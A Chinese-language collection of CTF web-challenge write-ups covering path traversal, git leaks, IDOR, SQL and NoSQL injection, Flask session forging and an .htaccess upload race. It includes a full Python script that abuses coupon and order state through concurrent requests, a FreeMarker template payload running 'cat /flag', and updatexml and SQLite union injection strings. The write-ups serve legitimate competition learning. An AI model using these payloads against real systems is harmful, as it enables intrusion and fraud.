信息收集与资产暴露
该方向关注 Web 服务在对外暴露过程中产生的安全风险,包括服务指纹识别、版本信息泄露、源码或配置文件暴露等。题目强调从有限信息中还原系统结构并发现潜在攻击入口的能力。
HyperNode
题目内容:
目标系统是一个号称“零漏洞”的自研高性能区块链网关。管理员声称其内置防火墙能拦截所有路径探测。你的任务是探测其底层解析逻辑的缺陷,绕过防御读取服务器中的flag
有文件读取的功能直接目录遍历,但是直接../会被waf,对/进行url编码绕过

目录遍历绕过waf:可以尝试/的url编码绕过
Static_Secret
题目内容:
开发小哥为了追求高性能,用 Python 的 某个库 写了一个简单的静态文件服务器来托管项目文档。他说为了方便管理,开启了某个“好用”的功能。但我总觉得这个旧版本的框架不太安全…你能帮我看看,能不能读取到服务器根目录下的 /flag 文件?
提示访问该目录,但是里面什么都没有,目录扫描也没有,想起来题目中的提示静态文件服务器来托管项目文档。查了下资料,确实有目录遍历漏洞
CVE-2024-23334:# AIOHTTP 目录遍历漏洞

直接抓包就可以,网页上访问的话是不行的

Dev’s Regret
目录扫描发现git泄露,直接启动githacker
进入后查看记录,发现被删掉的flag
show查看或者reset恢复都可以

Session_Leak
进来后有个测试的账户

抓包修改第二个包,您已成功利用身份验证重定向流程中的会话密钥泄露漏洞
进来只是和普通用户没有什么区别,应该是有其他路径可以有权访问

访问/admin获得flag
访问控制与业务逻辑安全
该方向重点考察系统在身份鉴别、权限校验和业务流程设计中的安全问题,包括越权访问、认证绕过、跨域信任错误以及复杂业务逻辑漏洞。题目强调对“信任边界”和业务状态流转的理解。
My_Hidden_Profile
题目内容:某公司开发了一个用户个人中心系统,使用了看似复杂的UID来标识每个用户。你成功注册了一个普通账号,但听说管理员账号里藏有重要的秘密。你能通过分析UID的生成机制,成功访问管理员的个人中心并获取Flag吗?

根据提示抓包直接修改user_id值即可

CORS
**题目内容:**欢迎访问 HR 内部薪资自助查询系统。

抓包,解码session_token

Truths
题目内容:
欢迎来到我们全新的电商平台!我们实现了一套完善的订单管理系统,包含优惠券、支付和风控模块。
我们的安全团队确信系统是完全安全的。毕竟,我们有正确的状态管理…对吧?

注册后进去创建商品,使用优惠券后取消订单,然后再重新创建就会发现,之前优惠后的价格并没有改变,所以只要不停地取消重建就能购买最贵的商品
import requests
import time
import json
import threading
from typing import Optional, List, Dict
from concurrent.futures import ThreadPoolExecutor, as_completed
class CTFShopAdvancedExploit:
def __init__(self, base_url: str):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.token = None
self.username = f"hacker_{int(time.time())}"
self.password = "password123"
self.flags_found = []
self.lock = threading.Lock()
def log(self, message: str, level: str = "INFO"):
"""打印日志"""
colors = {
"INFO": "\033[94m",
"SUCCESS": "\033[92m",
"WARNING": "\033[93m",
"ERROR": "\033[91m",
"FLAG": "\033[95m\033[1m", # 粗体紫色
"CRITICAL": "\033[91m\033[1m" # 粗体红色
}
reset = "\033[0m"
color = colors.get(level, "")
timestamp = time.strftime("%H:%M:%S")
print(f"{color}[{timestamp}][{level}] {message}{reset}")
def register(self) -> bool:
"""注册账户"""
try:
url = f"{self.base_url}/api/register"
data = {"username": self.username, "password": self.password}
resp = self.session.post(url, json=data, timeout=10)
if resp.status_code == 200:
self.log(f"注册成功: {self.username}", "SUCCESS")
return True
else:
self.log(f"注册失败: {resp.text}", "WARNING")
return False
except Exception as e:
self.log(f"注册异常: {e}", "ERROR")
return False
def login(self) -> bool:
"""登录账户"""
try:
url = f"{self.base_url}/api/login"
data = {"username": self.username, "password": self.password}
resp = self.session.post(url, json=data, timeout=10)
if resp.status_code == 200:
result = resp.json()
self.token = result.get('token')
self.log(f"登录成功", "SUCCESS")
return True
else:
self.log(f"登录失败: {resp.text}", "ERROR")
return False
except Exception as e:
self.log(f"登录异常: {e}", "ERROR")
return False
def get_headers(self) -> dict:
"""获取请求头"""
return {
"Authorization": f"Bearer {self.token}",
"Content-Type": "application/json"
}
def get_user_info(self) -> Optional[dict]:
"""获取用户信息"""
try:
url = f"{self.base_url}/api/user/info"
resp = self.session.get(url, headers=self.get_headers(), timeout=10)
if resp.status_code == 200:
data = resp.json()
balance = data.get('balance', 0)
coupons = data.get('coupons', [])
available_coupons = [c for c in coupons if c.get('status') == 'available']
self.log(f"用户: {data.get('username')}, 余额: ¥{balance:,}, "
f"可用优惠券: {len(available_coupons)}/{len(coupons)}")
return data
else:
self.log(f"获取用户信息失败: {resp.text}", "ERROR")
return None
except Exception as e:
self.log(f"获取用户信息异常: {e}", "ERROR")
return None
def get_products(self) -> Optional[list]:
"""获取商品列表"""
try:
url = f"{self.base_url}/api/products?debug=1"
resp = self.session.get(url, timeout=10)
if resp.status_code == 200:
data = resp.json()
products = data.get('products', [])
self.log(f"获取到 {len(products)} 个商品", "SUCCESS")
for p in products:
hidden = "【隐藏】" if not p.get('visible', True) else ""
self.log(f" 商品 ID:{p['id']} {hidden}{p['name']} ¥{p['price']:,}")
return products
else:
self.log(f"获取商品失败: {resp.text}", "ERROR")
return None
except Exception as e:
self.log(f"获取商品异常: {e}", "ERROR")
return None
def create_order(self, product_id: int) -> Optional[int]:
"""创建订单"""
try:
url = f"{self.base_url}/api/order/create"
data = {"product_id": product_id}
resp = self.session.post(url, json=data, headers=self.get_headers(), timeout=10)
if resp.status_code == 200:
result = resp.json()
order_id = result.get('order_id')
self.log(f"创建订单成功: #{order_id}", "SUCCESS")
return order_id
else:
self.log(f"创建订单失败: {resp.text}", "ERROR")
return None
except Exception as e:
self.log(f"创建订单异常: {e}", "ERROR")
return None
def get_order_detail(self, order_id: int, silent: bool = False) -> Optional[dict]:
"""获取订单详情"""
try:
url = f"{self.base_url}/api/order/{order_id}"
resp = self.session.get(url, headers=self.get_headers(), timeout=10)
if resp.status_code == 200:
data = resp.json()
if not silent:
self.log(f"订单 #{order_id}: 状态={data.get('status')}, "
f"原价=¥{data.get('original_price'):,}, "
f"折扣=¥{data.get('discount_applied'):,}, "
f"应付=¥{data.get('total_price'):,}")
if data.get('flag'):
flag = data.get('flag')
with self.lock:
if flag not in self.flags_found:
self.flags_found.append(flag)
self.log(f"🎉🎉🎉 发现FLAG: {flag} 🎉🎉🎉", "FLAG")
return data
else:
if not silent:
self.log(f"获取订单详情失败: {resp.text}", "ERROR")
return None
except Exception as e:
if not silent:
self.log(f"获取订单详情异常: {e}", "ERROR")
return None
def apply_coupon(self, order_id: int, coupon_code: str, silent: bool = False) -> bool:
"""应用优惠券"""
try:
url = f"{self.base_url}/api/order/apply_coupon"
data = {"order_id": order_id, "coupon": coupon_code}
resp = self.session.post(url, json=data, headers=self.get_headers(), timeout=10)
if resp.status_code == 200:
result = resp.json()
new_total = result.get('new_total')
if not silent:
self.log(f"应用优惠券 {coupon_code} 成功 → ¥{new_total:,}", "SUCCESS")
return True
else:
if not silent:
self.log(f"应用优惠券失败: {resp.text}", "WARNING")
return False
except Exception as e:
if not silent:
self.log(f"应用优惠券异常: {e}", "ERROR")
return False
def cancel_order(self, order_id: int, silent: bool = False) -> bool:
"""取消订单"""
try:
url = f"{self.base_url}/api/cancel"
data = {"order_id": order_id}
resp = self.session.post(url, json=data, headers=self.get_headers(), timeout=10)
if resp.status_code == 200:
if not silent:
self.log(f"取消订单 #{order_id} 成功", "SUCCESS")
return True
else:
if not silent:
self.log(f"取消订单失败: {resp.text}", "WARNING")
return False
except Exception as e:
if not silent:
self.log(f"取消订单异常: {e}", "ERROR")
return False
def reactivate_order(self, order_id: int, silent: bool = False) -> bool:
"""重新激活订单"""
try:
url = f"{self.base_url}/api/order/reactivate"
data = {"order_id": order_id}
resp = self.session.post(url, json=data, headers=self.get_headers(), timeout=10)
if resp.status_code == 200:
result = resp.json()
total = result.get('total_price')
if not silent:
self.log(f"重新激活订单 #{order_id} → ¥{total:,}", "SUCCESS")
return True
else:
if not silent:
self.log(f"重新激活失败: {resp.text}", "WARNING")
return False
except Exception as e:
if not silent:
self.log(f"重新激活异常: {e}", "ERROR")
return False
def pay_order(self, order_id: int) -> bool:
"""支付订单"""
try:
url = f"{self.base_url}/api/pay"
data = {"order_id": order_id}
resp = self.session.post(url, json=data, headers=self.get_headers(), timeout=10)
if resp.status_code == 200:
result = resp.json()
self.log(f"💰 支付订单 #{order_id} 成功!", "SUCCESS")
if result.get('flag'):
flag = result.get('flag')
with self.lock:
if flag not in self.flags_found:
self.flags_found.append(flag)
self.log(f"🎉🎉🎉 支付后获得FLAG: {flag} 🎉🎉🎉", "FLAG")
return True
else:
self.log(f"支付失败: {resp.text}", "ERROR")
return False
except Exception as e:
self.log(f"支付异常: {e}", "ERROR")
return False
def aggressive_price_reduction(self, order_id: int, target_price: float = 0,
max_attempts: int = 2000) -> bool:
"""
激进降价策略 - 专门用于购买88888等高价商品
使用2000次循环尝试将价格降到目标价格
"""
self.log(f"\n{'='*70}")
self.log(f"开始激进降价攻击 - 目标: 将价格降至 ¥{target_price:,}")
self.log(f"最大尝试次数: {max_attempts}")
self.log(f"{'='*70}\n")
# 可用优惠券列表
coupons = ["VIP-50", "STACK-20"]
best_price = float('inf')
consecutive_failures = 0
max_consecutive_failures = 50
for attempt in range(1, max_attempts + 1):
# 每100次显示进度
if attempt % 100 == 0:
self.log(f"进度: {attempt}/{max_attempts} ({attempt*100//max_attempts}%) - "
f"当前最低价: ¥{best_price:,}", "INFO")
# 每10次详细显示
silent = (attempt % 10 != 0)
# 策略1: 多次应用优惠券
for coupon in coupons:
success = self.apply_coupon(order_id, coupon, silent=silent)
if not success:
consecutive_failures += 1
else:
consecutive_failures = 0
time.sleep(0.05)
# 检查当前价格
order = self.get_order_detail(order_id, silent=silent)
if not order:
self.log(f"无法获取订单信息,尝试继续...", "WARNING")
continue
current_price = order.get('total_price', float('inf'))
# 更新最低价格
if current_price < best_price:
best_price = current_price
self.log(f"🎯 新低价!第 {attempt} 次尝试: ¥{current_price:,}", "SUCCESS")
consecutive_failures = 0
# 检查是否达到目标价格
if current_price <= target_price:
self.log(f"✅ 成功!价格已降至 ¥{current_price:,} (≤ ¥{target_price:,})", "SUCCESS")
return True
# 如果连续失败太多次,尝试重置
if consecutive_failures >= max_consecutive_failures:
self.log(f"连续失败 {consecutive_failures} 次,尝试重置订单状态...", "WARNING")
if self.cancel_order(order_id, silent=True):
time.sleep(0.3)
if self.reactivate_order(order_id, silent=True):
consecutive_failures = 0
time.sleep(0.3)
continue
# 策略2: 每隔一定次数取消并重新激活
if attempt % 20 == 0:
if not silent:
self.log(f"执行重置策略...", "INFO")
if self.cancel_order(order_id, silent=True):
time.sleep(0.2)
if not self.reactivate_order(order_id, silent=True):
self.log(f"重新激活失败,可能无法继续", "ERROR")
break
time.sleep(0.2)
self.log(f"\n达到最大尝试次数 {max_attempts}", "WARNING")
self.log(f"最终价格: ¥{best_price:,}", "INFO")
return best_price <= target_price
def buy_expensive_product(self, product_id: int, max_attempts: int = 2000) -> bool:
"""
购买高价商品(如88888)的完整流程
"""
self.log(f"\n{'#'*70}")
self.log(f"开始购买商品 ID={product_id}")
self.log(f"{'#'*70}\n")
# 1. 获取用户信息
user_info = self.get_user_info()
if not user_info:
return False
balance = user_info.get('balance', 0)
self.log(f"当前余额: ¥{balance:,}")
# 2. 创建订单
order_id = self.create_order(product_id)
if not order_id:
return False
# 3. 获取初始订单信息
order = self.get_order_detail(order_id)
if not order:
return False
original_price = order.get('original_price', 0)
self.log(f"商品原价: ¥{original_price:,}")
# 4. 如果余额足够,直接支付
if balance >= original_price:
self.log(f"余额充足,直接支付!", "SUCCESS")
return self.pay_order(order_id)
# 5. 余额不足,需要降价
needed_discount = original_price - balance
self.log(f"需要降价: ¥{needed_discount:,}", "CRITICAL")
# 6. 执行激进降价策略
target_price = max(0, balance - 100) # 留一点余量
success = self.aggressive_price_reduction(order_id, target_price, max_attempts)
if not success:
self.log(f"降价失败,尝试其他策略...", "WARNING")
# 尝试并发攻击
self.concurrent_coupon_attack(order_id)
# 7. 检查最终价格
final_order = self.get_order_detail(order_id)
if not final_order:
return False
final_price = final_order.get('total_price', float('inf'))
# 8. 尝试支付
if final_price <= balance:
self.log(f"价格已降至 ¥{final_price:,},开始支付!", "SUCCESS")
return self.pay_order(order_id)
elif final_price <= 0:
self.log(f"价格为 ¥{final_price:,},尝试支付...", "SUCCESS")
return self.pay_order(order_id)
else:
self.log(f"最终价格 ¥{final_price:,} 仍高于余额 ¥{balance:,}", "ERROR")
self.log(f"尝试强制支付...", "WARNING")
return self.pay_order(order_id)
def concurrent_coupon_attack(self, order_id: int, threads_count: int = 10):
"""
并发优惠券攻击
"""
self.log(f"\n启动并发攻击 - {threads_count} 线程", "WARNING")
def apply_coupons_rapidly(coupon: str, count: int):
for _ in range(count):
self.apply_coupon(order_id, coupon, silent=True)
time.sleep(0.01)
with ThreadPoolExecutor(max_workers=threads_count) as executor:
futures = []
for _ in range(threads_count // 2):
futures.append(executor.submit(apply_coupons_rapidly, "VIP-50", 10))
futures.append(executor.submit(apply_coupons_rapidly, "STACK-20", 10))
for future in as_completed(futures):
try:
future.result()
except Exception as e:
self.log(f"并发攻击异常: {e}", "ERROR")
time.sleep(0.5)
self.get_order_detail(order_id)
def display_flags(self):
"""显示所有找到的flags"""
print("\n" + "="*70)
if self.flags_found:
self.log(f"🎉 成功获得 {len(self.flags_found)} 个FLAG! 🎉", "FLAG")
print("="*70)
for i, flag in enumerate(self.flags_found, 1):
print(f"\033[95m\033[1m FLAG[{i}]: {flag}\033[0m")
print("="*70)
else:
self.log("❌ 未找到任何FLAG", "ERROR")
print("="*70)
def run_buy_88888(self):
"""
专门购买88888商品的自动化脚本
"""
self.log("\n" + "="*70)
self.log("🎯 CTF Shop - 购买88888商品专用脚本 🎯")
self.log("="*70 + "\n")
# 1. 注册并登录
self.log("步骤 1/5: 注册账户", "INFO")
if not self.register():
self.log("注册失败,尝试登录已有账户", "WARNING")
if not self.login():
self.log("登录失败,程序退出", "ERROR")
return False
else:
self.log("步骤 2/5: 登录账户", "INFO")
if not self.login():
self.log("登录失败,程序退出", "ERROR")
return False
# 2. 查看初始状态
self.log("\n步骤 3/5: 获取账户和商品信息", "INFO")
self.get_user_info()
products = self.get_products()
if not products:
self.log("无法获取商品列表", "ERROR")
return False
# 3. 查找目标商品
self.log("\n步骤 4/5: 查找目标商品", "INFO")
target_product = None
# 首先尝试找88888价格的商品
for p in products:
if p.get('price') == 88888:
target_product = p
break
# 如果没找到88888,找最贵的
if not target_product:
target_product = max(products, key=lambda x: x.get('price', 0))
self.log(f"未找到88888商品,将购买最贵商品", "WARNING")
self.log(f"目标商品: ID={target_product['id']}, "
f"名称={target_product['name']}, "
f"价格=¥{target_product['price']:,}", "CRITICAL")
# 4. 执行购买
self.log(f"\n步骤 5/5: 开始购买流程", "INFO")
success = self.buy_expensive_product(target_product['id'], max_attempts=2000)
# 5. 显示结果
self.log("\n" + "="*70)
if success:
self.log("✅ 购买成功!", "SUCCESS")
else:
self.log("⚠️ 购买过程完成,请检查结果", "WARNING")
self.log("\n最终账户状态:", "INFO")
self.get_user_info()
# 6. 显示flags
self.display_flags()
return success
def main():
import sys
print("""
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ CTF Shop - 88888商品自动购买脚本 v2.0 ║
║ ║
║ 特性: ║
║ • 2000次降价循环攻击 ║
║ • 智能优惠券叠加 ║
║ • 并发竞态攻击 ║
║ • 自动获取FLAG ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
""")
# 获取目标URL
if len(sys.argv) > 1:
API_BASE_URL = sys.argv[1]
else:
API_BASE_URL = input("请输入目标URL (例如: http://ctf-server:8000): ").strip()
if not API_BASE_URL:
print("❌ URL不能为空")
return
print(f"\n🎯 目标: {API_BASE_URL}\n")
# 创建攻击实例
exploit = CTFShopAdvancedExploit(API_BASE_URL)
# 执行购买
exploit.run_buy_88888()
if __name__ == "__main__":
main()

Just_Web
题目内容:
访问一个内部管理后台时,发现该系统在处理用户资源同步时似乎有些“过于信任”用户的输入。虽然系统声称开启了各种安全策略,但大佬告诉她,有些防御可能只是看起来很美。你能通过这个后台获取系统根目录下的 flag 吗?
弱密码admin/admin123

到模板类型和模板加载的位置,并且prifile路由下可以上传文件,最重要的是,文件路径以及名称是可以自定义的,那么,只要在图片中嵌入恶意模板,并命名为prifile.ftl文件,就能覆盖原有的prifile.ftl
文件,从而再访问prifile路由时,就能获取到rce的结果

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("cat /flag")}


注入类漏洞
该方向聚焦于用户输入被错误解析或执行所引发的安全问题,包括 SQL 注入、NoSQL 注入等。题目通常要求选手理解底层查询或解析机制,并通过构造特定输入实现逻辑绕过或信息获取。
EZSQL
题目内容:这是一个号称“绝对安全”的企业数据金库,采用了最新的黑客风格 UI 设计。界面上空空如也,只有一行“RESTRICTED ACCESS”的警告。作为一个经验丰富的渗透测试人员,你需要:
- 找到隐藏的交互入口。
- 绕过那个“极其敏感”的防火墙。
- 听懂数据库痛苦的咆哮(报错),拿到最终的 Flag。
测试发现过滤空格,–,%,and,直接用#闭合还是报错,经过测试最后发现1'||'1'='1的逻辑可以绕过
结合提示,可以用报错注入
目录扫描发现有sql文件,可以下载
CREATE DATABASE IF NOT EXISTS ctf;
USE ctf;
CREATE TABLE IF NOT EXISTS `flag` (`flag` varchar(255) NOT NULL);
INSERT INTO `flag` VALUES ('flag{static_flag_for_test}');
CREATE TABLE IF NOT EXISTS `goods` (`id` int(11) NOT NULL, `name` varchar(255) NOT NULL, `price` int(11) NOT NULL, PRIMARY KEY (`id`));
INSERT INTO `goods` VALUES (1, 'Cyber-Deck v3.0', 5000);
INSERT INTO `goods` VALUES (2, 'Quantum Processor', 9999);
INSERT INTO `goods` VALUES (3, 'Stealth Camo', 300);
CREATE USER 'ctf_user'@'localhost' IDENTIFIED BY 'ctf_pass_secure';
GRANT SELECT, INSERT, UPDATE ON ctf.* TO 'ctf_user'@'localhost';
FLUSH PRIVILEGES;
可以看到flag就在ctf库中的flag表中,所以这题就不用暴库爆表
?id=1'||updatexml(1,concat(0x7e,(select(flag)from(flag))),1)||'1'='1

但是看到长度不完整,使用sbustr或者substring指定长度输出即可
?id=1'||updatexml(1,concat(0x7e,substr((select(flag)from(flag)),25,40)),1)||'1'='1
NoSQL_Login
题目内容: 某公司开发了一个新的用户登录系统,使用了流行的NoSQL数据库MongoDB。但由于开发人员对安全性认识不足,直接将用户输入传递到数据库查询中。你能找到绕过登录验证的方法吗?
出胡了,admin用户直接登录,不用密码拿到flag
Theme_Park
有个admin路由但是没有权限


有注入点,尝试union注入发现老是报错,猜测可能是sqlite注入,检测一下确实如此
?q=-0'+UNION+SELECT+1,sqlite_version()--
确认是sqlite后,直接从sqlite_master系统表入手
q=-0'+union+select+1,(select+group_concat(name)+from+sqlite_master)

首先查name字段,看到这些表名

接着查看sql字段,找到写入项目的sql语句
q=-0'+union+select+1,(select+group_concat(sql)+from+sqlite_master)--
CREATE TABLE plugins (id INTEGER PRIMARY KEY, name TEXT, version TEXT),CREATE TABLE config (key TEXT PRIMARY KEY, value TEXT)
查到config表中的key(secret_key)对应的value值,猜测是用来访问admin路由用的,我们可以利用密钥进行session伪造,使用flask-unsign工具,进去后直接任意文件读取

文件与配置安全
该方向关注 Web 应用对文件和配置的处理安全,包括文件读取、上传控制、配置解析规则以及时间竞争问题。题目往往结合部署环境,考察选手对文件系统与 Web 服务交互的理解。
Easy_upload
题目内容:
欢迎来到 CloudSync 企业版配置中心。
这里是 DevOps 团队用来管理静态资源(Logo、Banner)和测试临时服务器配置的地方。
为了安全起见,所有上传的配置文件 (.config) 都会在 500ms 后自动销毁。
听说这里存放着系统的核心密钥,你能找到它吗?
有两个传文件的点,一个是永久保存,一个是上传后短时间保留后销毁。注意到还有个不太明显的链接,点击后可以查看传逻辑
<?php
$UPLOAD_DIR = "uploads/";
if (!is_dir($UPLOAD_DIR)) mkdir($UPLOAD_DIR);
// 模块 1: 静态资源 (只允许 JPG)
if (isset($_POST['upload_res'])) {
$target = $UPLOAD_DIR . basename($_FILES["file"]["name"]);
$ext = strtolower(pathinfo($target, PATHINFO_EXTENSION));
if ($ext !== 'jpg') {
die_msg("Error", "Only .jpg files are allowed.");
}
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target)) {
die_msg("Success", "Asset deployed at: <a href='$target' target='_blank'>$target</a>");
}
}
// 模块 2: 配置沙箱 (只允许 .config -> 存为 .htaccess -> 竞争删除)
if (isset($_POST['upload_conf'])) {
$target = $UPLOAD_DIR . ".htaccess";
$ext = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
if ($ext !== 'config') {
die_msg("Error", "Only .config files are allowed.");
}
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target)) {
// 漏洞窗口期: 0.5秒
usleep(500000);
@unlink($target); // 删除
die_msg("Success", "Configuration valid. File purged.");
}
}
function die_msg($title, $msg) {
echo "<!DOCTYPE html><html><head><link rel='stylesheet' href='style.css'></head><body><div class='container'><div class='card'><div class='card-header'>$title</div><div class='card-body'><p>$msg</p><a href='index.php' style='text-decoration:none; color:#0056b3;'>← Back</a></div></div></div></body></html>";
exit;
}
?>
可以看到,虽然我们配置文件只能上传.config,但是该文件上传后被重命名为.htaccess,所以可以利用这个性质,在图片里里面嵌入一句话木马getshell
pb爆破,不断地发包上传
访问上传的图片,刷新几次即可
题目内容:
某科技公司部署了一套 Python 编写的数据处理接口,开发人员声称该系统经过了严格的安全加固:
- 没有任何直接的文件上传入口。
- 应用运行在低权限账户下。
- 敏感数据(Flag)存储在 Root 权限才能访问的文件中。
